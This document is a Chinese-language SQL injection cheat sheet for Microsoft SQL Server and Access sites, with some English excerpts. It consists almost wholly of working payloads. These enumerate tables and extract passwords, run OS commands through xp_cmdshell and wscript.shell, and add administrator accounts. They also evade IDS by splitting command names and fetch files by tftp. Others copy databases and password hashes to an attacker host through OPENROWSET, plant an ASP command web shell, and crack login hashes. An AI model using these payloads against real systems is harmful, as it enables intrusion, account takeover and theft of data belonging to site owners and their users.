Sql注射總結(早源於’or’1′=’1)
最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
當然還有很多啦哦 這就看你自己在實際操作中的應用啦!:)
最重要的一些使用者名稱(預設sql資料庫中存在著的)
public
dbo
guest(一般禁止,或者沒許可權)
db_sercurityadmin
ab_dlladmin
一些預設擴充套件
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驅動器相關
xp_dirtree 目錄
xp_enumdsn ODBC連線
xp_loginconfig 伺服器安全模式資訊
xp_makecab 建立壓縮卷
xp_ntsec_enumdomains domain資訊
xp_terminate_process 終端程式,給出一個PID
例如:
sp_addextendedproc ’xp_webserver’, ’c:\temp\xp_foo.dll’
exec xp_webserver
sp_dropextendedproc ’xp_webserver’
bcp "select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
‘ group by users.id having 1=1-
‘ group by users.id, users.username, users.password, users.privs having 1=1-
‘; insert into users values( 666, ’attacker’, ’foobar’, 0xffff )-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’logintable’-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’logintable’ where COLUMN_NAME NOT IN (‘login_id’)-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=’logintable’ where COLUMN_NAME NOT IN (‘login_id’,'login_name’)-
union select TOP 1 login_name FROM logintable-
union select TOP 1 password FROM logintable where login_name=’Rahul’–
構造語句:查詢是否存在xp_cmdshell
‘ union select @@version,1,1,1–
and 1=(select @@VERSION)
and ’sa’=(select System_user)
‘ union select ret,1,1,1 from foo–
‘ union select min(username),1,1,1 from users where username > ’a'-
‘ union select min(username),1,1,1 from users where username > ’admin’-
‘ union select password,1,1,1 from users where username = ’admin’–
and user_name()=’dbo’
and 0<>(select user_name()-
; DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ’C:\WINNT\system32\cmd.exe /c net user swap 5245886 /add’
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = ’X' AND name = ’xp_cmdshell’)
;EXEC master.dbo.sp_addextendedproc ’xp_cmdshell’, ’xplog70.dll’
1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype=’x'%20and%20name=’xp_cmdshell’)
and 1=(select IS_SRVROLEMEMBER(’sysadmin’)) 判斷sa許可權是否
and 0<>(select top 1 paths from newtable)– 暴庫**
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到庫名(從1到5都是系統的id,6以上才可以判斷)
建立一個虛擬目錄E盤:
declare @o int exec sp_oacreate ’wscript.shell’, @o out exec sp_oamethod @o, ’run’, NULL,’ cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "預設 Web 站點" -v "e","e:\"’
訪問屬性:(配合寫入一個webshell)
declare @o int exec sp_oacreate ’wscript.shell’, @o out exec sp_oamethod @o, ’run’, NULL,’ cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse’
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9…. 得到更多的資料庫名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U') 暴到一個表 假設為 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U' and name not in (‘Admin’)) 來得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=’U' and name=’admin’
and uid>(str(id))) 暴到UID的數值假設為18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個欄位,假設為 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(‘id’,…)) 來暴出其他的欄位
and 01) 可以得到使用者名稱
依次可以得到密碼。。。。。假設存在user_id username ,password 等欄位
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union語句到處風靡啊,access也好用
暴庫特殊技巧::%5c=’\' 或者把/和\ 修改%5提交
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U' and name not in(‘Address’))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=’U' and name=’admin’ and uid>(str(id))) 判斷id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有欄位
[dbo].[swap] ([swappass][char](255));–
(select top 1 swappass from swap)=1
;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=’HKEY_LOCAL_MACHINE’, @key=’SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\’, @value_name=’/', values=@test OUTPUT insert into paths(path) values(@test)
政策法規&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";–
得到了web路徑d:\xxxx,接下來:
–
cmd (str image);–
傳統的存在xp_cmdshell的測試過程:
;exec master..xp_cmdshell ’dir’
;exec master.dbo.sp_addlogin hax;–
;exec master.dbo.sp_password null,hax,hax;–
;exec master.dbo.sp_addsrvrolemember hax sysadmin;–
;exec master.dbo.xp_cmdshell ’net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;–
;exec master.dbo.xp_cmdshell ’net localgroup administrators hax /add’;–
exec master..xp_servicecontrol ’start’, ’schedule’
exec master..xp_servicecontrol ’start’, ’server’
http://’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ’C:\WINNT\system32\cmd.exe /c net user swap 5258 /add’
;DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ’C:\WINNT\system32\cmd.exe /c net localgroup administrators swap/add’
′; exec master..xp_cmdshell ’tftp -i youip get file.exe’-
declare @a sysname set @a=’xp_’+'cmdshell’ exec @a ’dir c:\’
declare @a sysname set @a=’xp’+'_cm’+'dshell’ exec @a ’dir c:\’
;declare @a;set @a=db_name();backup database @a to disk=’你的IP你的共享目錄bak.dat’
如果被限制則可以。
select * from openrowset(’sqloledb’,’server’;’sa’;”,’select ”OK!” exec master.dbo.sp_addlogin hax’)
傳統查詢構造:
select * FROM news where id=… AND topic=… AND …..
admin’and 1=(select count(*) from [user] where username=’victim’ and right(left(userpass,01),1)=’1′) and userpass <>’
select 123;–
;use master;–
:a’ or name like ’fff%’;– 顯示有一個叫ffff的使用者哈。
‘and 1<>(select count(email) from [user]);–
;update [users] set email=(select top 1 name from sysobjects where xtype=’u' and status>0) where name=’ffff’;–
說明:
上面的語句是得到資料庫中的第一個使用者表,並把表名放在ffff使用者的郵箱欄位中。
透過檢視ffff的使用者資料可得第一個用表叫ad
然後根據表名ad得到這個表的ID
ffff’;update [users] set email=(select top 1 id from sysobjects where xtype=’u' and name=’ad’) where name=’ffff’;–
象下面這樣就可以得到第二個表的名字了
ffff’;update [users] set email=(select top 1 name from sysobjects where xtype=’u' and id>581577110) where name=’ffff’;–
ffff’;update [users] set email=(select top 1 count(id) from password) where name=’ffff’;–
ffff’;update [users] set email=(select top 1 pwd from password where id=2) where name=’ffff’;–
ffff’;update [users] set email=(select top 1 name from password where id=2) where name=’ffff’;–
exec master..xp_servicecontrol ’start’, ’schedule’
exec master..xp_servicecontrol ’start’, ’server’
sp_addextendedproc ’xp_webserver’, ’c:\temp\xp_foo.dll’
擴充套件儲存就可以透過一般的方法呼叫:
exec xp_webserver
一旦這個擴充套件儲存執行過,可以這樣刪除它:
sp_dropextendedproc ’xp_webserver’
insert into users values( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)-
insert into users values( 667,123,123,0xffff)-
insert into users values ( 123, ’admin”–’, ’password’, 0xffff)-
;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //為access資料庫
———————————————————–通常注射的一些介紹:
A) ID=49 這類注入的引數是數字型,SQL語句原貌大致如下:
select * from 表名 where 欄位=49
注入的引數為ID=49 And [查詢條件],即是生成語句:
select * from 表名 where 欄位=49 And [查詢條件]
(B) Class=連續劇 這類注入的引數是字元型,SQL語句原貌大致概如下:
select * from 表名 where 欄位=’連續劇’
注入的引數為Class=連續劇’ and [查詢條件] and ”=’ ,即是生成語句:
select * from 表名 where 欄位=’連續劇’ and [查詢條件] and ”=”
(C) 搜尋時沒過濾引數的,如keyword=關鍵字,SQL語句原貌大致如下:
select * from 表名 where 欄位like ’%關鍵字%’
注入的引數為keyword=’ and [查詢條件] and ’%25′=’, 即是生成語句:
select * from 表名 where欄位like ’%' and [查詢條件] and ’%'=’%’
;;and (select Top 1 name from sysobjects where xtype=’U' and status>0)>0
sysobjects是SQLServer的系統表,儲存著所有的表名、檢視、約束及其它物件,xtype=’U' and status>0,表示使用者建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯資訊把表名暴露出來。
;;and (select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
從⑤拿到表名後,用object_id(‘表名’)獲取表名對應的內部ID,col_name(表名ID,1)代表該表的第1個欄位名,將1換成2,3,4…就可以逐個獲取所猜解表裡面的欄位名。
post.htm內容:主要是方便輸入。
>>">
列舉出他的資料表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u' and status>0);–
這是將第一個表名更新到aaa的欄位處。
讀出第一個表,第二個表可以這樣讀出來(在條件後加上 and name<>’剛才得到的表名’)。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u' and status>0 and name<>’vote’);–
然後id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表,^^^^^^一個個的讀出,直到沒有為止。
讀欄位是這樣:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(‘表名’),1));–
然後id=1552 and exists(select * from aaa where aaa>5)出錯,得到欄位名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(‘表名’),2));–
然後id=1552 and exists(select * from aaa where aaa>5)出錯,得到欄位名
——————————–高階技巧:
[獲得資料表名][將欄位值更新為表名,再想法讀出這個欄位的值就可得到表名]
update 表名 set 欄位=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一個加一個]) [ where 條件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in(‘table1′,’table2′,…)
透過SQLSERVER注入漏洞建資料庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]
[獲得資料表欄位名][將欄位值更新為欄位名,再想法讀出這個欄位的值就可得到欄位名]
update 表名 set 欄位=(select top 1 col_name(object_id(‘要查詢的資料表名’),欄位列如:1) [ where 條件]
繞過IDS的檢測[使用變數]
declare @a sysname set @a=’xp_’+'cmdshell’ exec @a ’dir c:\’
declare @a sysname set @a=’xp’+'_cm’+'dshell’ exec @a ’dir c:\’
1、 開啟遠端資料庫
基本語法
select * from OPENROWSET(‘SQLOLEDB’, ’server=servername;uid=sa;pwd=apachy_123′, ’select * from table1′ )
引數: (1) OLEDB Provider name
2、 其中連線字串引數可以是任何和埠用來連線,比如
select * from OPENROWSET(‘SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from table’
要複製目標主機的整個資料庫,首先要在目標主機上和自己機器上的資料庫建立連線(如何在目標主機上建立遠端連線,剛才已經講了),之後insert所有遠端表到本地表。
基本語法:
insert into OPENROWSET(‘SQLOLEDB’, ’server=servername;uid=sa;pwd=apachy_123′, ’select * from table1′) select * from table2
這行語句將目標主機上table2表中的所有資料複製到遠端資料庫中的table1表中。實際運用中適當修改連線字串的IP地址和埠,指向需要的地方,比如:
insert into OPENROWSET(‘SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from table1′) select * from table2
insert into OPENROWSET(‘SQLOLEDB’, ’uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from _sysdatabases’)
select * from master.dbo.sysdatabases
insert into OPENROWSET(‘SQLOLEDB’, ’uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from _sysobjects’)
select * from user_database.dbo.sysobjects
insert into OPENROWSET(‘SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from _syscolumns’)
select * from user_database.dbo.syscolumns
之後,便可以從本地資料庫中看到目標主機的庫結構,這已經易如反掌,不多講,複製資料庫:
insert into OPENROWSET(‘SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from table1′) select * from database..table1
insert into OPENROWSET(‘SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from table2′) select * from database..table2
……
3、 復4、 制哈西表(HASH)
這實際上是上述復5、 制資料庫的一個擴充套件應用。登入密碼的hash儲存於sysxlogins中。方法如下:
insert into OPENROWSET(‘SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from _sysxlogins’) select * from database.dbo.sysxlogins
得到hash之後,6、 就可以進行暴力破解。這需要一點運氣和大量時間。
遍歷目錄的方法:
先建立一個臨時表:temp
‘5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
5′;insert temp exec master.dbo.xp_availablemedia;– 獲得當前所有驅動器
5′;insert into temp(id) exec master.dbo.xp_subdirs ’c:\’;– 獲得子目錄列表
5′;insert into temp(id,num1) exec master.dbo.xp_dirtree ’c:\’;– 獲得所有子目錄的目錄樹結構,並寸入temp表中
5′;insert into temp(id) exec master.dbo.xp_cmdshell ’type c:\web\index.asp’;– 檢視某個檔案的內容
5′;insert into temp(id) exec master.dbo.xp_cmdshell ’dir c:\’;–
5′;insert into temp(id) exec master.dbo.xp_cmdshell ’dir c:\ *.asp /s/a’;–
5′;insert into temp(id) exec master.dbo.xp_cmdshell ’cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc’
5′;insert into temp(id,num1) exec master.dbo.xp_dirtree ’c:\’;– (xp_dirtree適用許可權PUBLIC)
寫入表:
語句1: and 1=(select IS_SRVROLEMEMBER(’sysadmin’));–
語句2: and 1=(select IS_SRVROLEMEMBER(’serveradmin’));–
語句3: and 1=(select IS_SRVROLEMEMBER(’setupadmin’));–
語句4: and 1=(select IS_SRVROLEMEMBER(’securityadmin’));–
語句5: and 1=(select IS_SRVROLEMEMBER(’securityadmin’));–
語句6: and 1=(select IS_SRVROLEMEMBER(‘diskadmin’));–
語句7: and 1=(select IS_SRVROLEMEMBER(‘bulkadmin’));–
語句8: and 1=(select IS_SRVROLEMEMBER(‘bulkadmin’));–
語句9: and 1=(select IS_MEMBER(‘db_owner’));–
把路徑寫到表中去:
;create table dirs(paths varchar(100), id int)-
http://;insert dirs exec master.dbo.xp_dirtree ’c:\’-
http:// and 0<>(select top 1 paths from dirs)-
http:// and 0<>(select top 1 paths from dirs where paths not in(‘@Inetpub’))-
語句:http://;create table dirs1(paths varchar(100), id int)–
語句:http://;insert dirs exec master.dbo.xp_dirtree ’e:\web’–
語句:http:// and 0<>(select top 1 paths from dirs1)-
把資料庫備份到網頁目錄:下載
http://;declare @a sysname; set @a=db_name();backup database @a to disk=’e:\web\down.bak’;–
and%201=(select%20top%201%20name%20from(select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20T%20order%20by%20id%20desc)
and%201=(select%20Top%201%20col_name(object_id(‘USER_LOGIN’),1)%20from%20sysobjects) 參看相關表。
and 1=(select%20user_id%20from%20USER_LOGIN)
and%200=(select%20user%20from%20USER_LOGIN%20where%20user>1)
……………………………………………………
– wscript.shell example
declare @o int
exec sp_oacreate ’wscript.shell’, @o out
exec sp_oamethod @o, ’run’, NULL, ’notepad.exe’
It could be run in our sample scenario by specifying the following username (all on one line):
Username: ’; declare @o int exec sp_oacreate ’wscript.shell’, @o out exec sp_oamethod @o, ’run’, NULL, ’notepad.exe’–
2) This example uses the ’scripting.filesystemobject’ object to read a known text file:
– scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’opentextfile’, @f out, ’c:\boot.ini’, 1
exec @ret = sp_oamethod @f, ’readline’, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, ’readline’, @line out
end
3) This example creates an ASP script that will run any command passed to it in the querystring:
– scripting.filesystemobject example - create a ’run this’ .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’createtextfile’, @f out, ’c:\inetpub\wwwroot\foo.asp’, 1
exec @ret = sp_oamethod @f, ’writeline’, NULL,
‘’
It is important to note that when running on a Windows NT4, IIS4 platform, commands issued by this ASP script will run as the ’system’ account. In IIS5, however, they will run as the low-privileged IWAM_xxx account.
4) This (somewhat spurious) example illustrates the flexibility of the technique; it uses the ’speech.voicetext’ object, causing the SQL Server to speak: Page 16
declare @o int, @ret int
exec sp_oacreate ’speech.voicetext’, @o out
exec sp_oamethod @o, ’register’, NULL, ’foo’, ’bar’
exec sp_oasetproperty @o, ’speed’, 150
exec sp_oamethod @o, ’speak’, NULL, ’all your sequel servers are belong to,us’, 528
waitfor delay ’00:00:05′
This could of course be run in our example scenario, by specifying the following ’username’ (note that the example is not only injecting a script, but simultaneously logging in to the application as ’admin’):
Username: admin’; declare @o int, @ret int exec sp_oacreate ’speech.voicetext’, @o out exec sp_oamethod @o, ’register’, NULL, ’foo’, ’bar’ exec sp_oasetproperty @o, ’speed’, 150 exec sp_oamethod @o, ’speak’, NULL, ’all your sequel servers are belong to us’, 528 waitfor delay ’00:00:05′–
常用密碼和相關語句:
password
sqlserver
sql
admin
sesame
sa
guest
Here is the script.:
(sqlcrack.sql)
create table tempdb..passwords( pwd varchar(255) )
bulk insert tempdb..passwords from ’c:\temp\passwords.txt’
select name, pwd from tempdb..passwords inner join sysxlogins
on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)
union select name, name from sysxlogins where
(pwdcompare( name, sysxlogins.password, 0 ) = 1)
union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid
where sysxlogins.password is null and
syslogins.isntgroup=0 and
syslogins.isntuser=0
drop table tempdb..passwords
THE END